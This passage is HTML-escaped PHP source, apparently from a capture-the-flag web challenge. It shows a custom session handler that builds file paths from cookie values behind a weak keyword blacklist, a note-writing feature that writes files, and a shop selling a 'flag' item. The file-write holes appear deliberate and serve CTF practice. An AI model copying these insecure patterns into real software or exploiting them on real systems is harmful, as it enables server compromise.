\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 = \u003cspan class=\"string\"\u003e\u0026#x27;storage\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!is_dir(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地)) mkdir(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;禁地 = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;php\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;html\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;htaccess\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 挖掘(\u003cspan class=\"params\"\u003e$货物, $食物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;禁地 \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (stripos(\u003cspan class=\"variable\"\u003e$_COOKIE\u003c/span\u003e[$食物], $元素) !== \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;invaild \u0026#x27;\u003c/span\u003e . $食物);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿 = session_id();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 种植(\u003cspan class=\"params\"\u003e$货物, $食物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e file_put_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/sess_\u0026#x27;\u003c/span\u003e . $货物, $食物) === \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e ? \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e : \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 收获(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003estring\u003c/span\u003e)@file_get_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/sess_\u0026#x27;\u003c/span\u003e . $货物);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 总结(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿) \u0026lt;= \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e file_put_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/note_\u0026#x27;\u003c/span\u003e . \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;圣殿, $货物) === \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e ? \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e : \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 归纳(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003estring\u003c/span\u003e)@file_get_contents(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/note_\u0026#x27;\u003c/span\u003e . \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 思考(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;贡品 = $货物;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (file_exists(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/sess_\u0026#x27;\u003c/span\u003e . $货物)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e unlink(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/sess_\u0026#x27;\u003c/span\u003e . $货物);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 反省(\u003cspan class=\"params\"\u003e$货物\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (glob(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;朝拜圣地 . \u003cspan class=\"string\"\u003e\u0026#x27;/*\u0026#x27;\u003c/span\u003e) \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (filemtime($元素) + $货物 \u0026lt; time() \u0026amp;\u0026amp; file_exists($元素)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e unlink($元素);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 完毕(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003etrue\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;总结(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;归纳());\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e$齿轮 = \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e 造齿轮();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esession_set_save_handler(\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;挖掘\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;完毕\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;收获\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;种植\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;反省\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e($齿轮, \u003cspan class=\"string\"\u003e\u0026#x27;完毕\u0026#x27;\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esession_start();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003esrand(mktime(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e$盛世 = \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;alice\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;bob\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;cat\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e20\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;dog\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e15\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;evil\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e5\u003c/span\u003e), rand() =\u0026gt; \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;flag\u0026#x27;\u003c/span\u003e, \u003cspan class=\"number\"\u003e9999\u003c/span\u003e));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 化缘(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 取经(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $盛世;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e $宝藏 = \u003cspan class=\"string\"\u003e\u0026#x27;[\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;items\u0026#x27;\u003c/span\u003e] \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $元素) $宝藏 .= $盛世[$元素][\u003cspan class=\"number\"\u003e0\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#x27;, \u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e $宝藏 .= \u003cspan class=\"string\"\u003e\u0026#x27;]\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $宝藏;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 念经(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $齿轮;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $齿轮-\u0026gt;归纳();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e 造世(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eglobal\u003c/span\u003e $盛世;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e $宝藏 = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e ($盛世 \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e $按键 =\u0026gt; $元素) $宝藏 .= \u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;div class=\u0026quot;item\u0026quot;\u0026gt;\u0026lt;form method=\u0026quot;POST\u0026quot;\u0026gt;\u0026lt;div class=\u0026quot;form-group\u0026quot;\u0026gt;\u0026#x27;\u003c/span\u003e . $元素[\u003cspan class=\"number\"\u003e0\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;/div\u0026gt;\u0026lt;div class=\u0026quot;form-group\u0026quot;\u0026gt;\u0026lt;input type=\u0026quot;hidden\u0026quot; name=\u0026quot;id\u0026quot; value=\u0026quot;\u0026#x27;\u003c/span\u003e . $按键 . \u003cspan class=\"string\"\u003e\u0026#x27;\u0026quot;\u0026gt;\u0026lt;button type=\u0026quot;submit\u0026quot; class=\u0026quot;btn btn-success\u0026quot;\u0026gt;buy ($\u0026#x27;\u003c/span\u003e . $元素[\u003cspan class=\"number\"\u003e1\u003c/span\u003e] . \u003cspan class=\"string\"\u003e\u0026#x27;)\u0026lt;/button\u0026gt;\u0026lt;/div\u0026gt;\u0026lt;/form\u0026gt;\u0026lt;/div\u0026gt;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e $宝藏;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e] = \u003cspan class=\"number\"\u003e2233\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;items\u0026#x27;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;items\u0026#x27;\u003c/span\u003e] = [];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (!\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e])) \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e] = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e])) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e] \u0026gt;= $盛世[\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e]][\u003cspan class=\"number\"\u003e1\u003c/span\u003e]) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e] = \u003cspan class=\"variable\"\u003e$_SESSION\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;balance\u0026#x27;\u003c/span\u003e] - $盛世[\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e]][\u003cspan class=\"number\"\u003e1\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e array_push($\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;_SESSION\u0026#x27;\u003c/span\u003e\u0026#125;[\u003cspan class=\"string\"\u003e\u0026#x27;items\u0026#x27;\u003c/span\u003e], \u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;id\u0026#x27;\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;span style=\u0026quot;color:green\u0026quot;\u0026gt;buy succ!\u0026lt;/span\u0026gt;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;span style=\u0026quot;color:red\u0026quot;\u0026gt;lack of balance!\u0026lt;/span\u0026gt;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e])) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (strlen(\u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e]) \u0026lt;= \u003cspan class=\"number\"\u003e1\u003c/span\u003e \u0026lt;\u0026lt; \u003cspan class=\"number\"\u003e10\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e $齿轮-\u0026gt;总结(str_replace(\u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026amp;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026gt;\u0026#x27;\u003c/span\u003e), \u003cspan class=\"keyword\"\u003earray\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;\u0026amp;amp;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026amp;lt;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026amp;gt;\u0026#x27;\u003c/span\u003e), \u003cspan class=\"variable\"\u003e$_POST\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;note\u0026#x27;\u003c/span\u003e]));\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;span style=\u0026quot;color:green\u0026quot;\u0026gt;write succ!\u0026lt;/span\u0026gt;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eecho\u003c/span\u003e (\u003cspan class=\"string\"\u003e\u0026#x27;\u0026lt;span style=\u0026quot;color:red\u0026quot;\u0026gt;note too long!\u0026lt;/span\u0026gt;\u0026#x27;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e 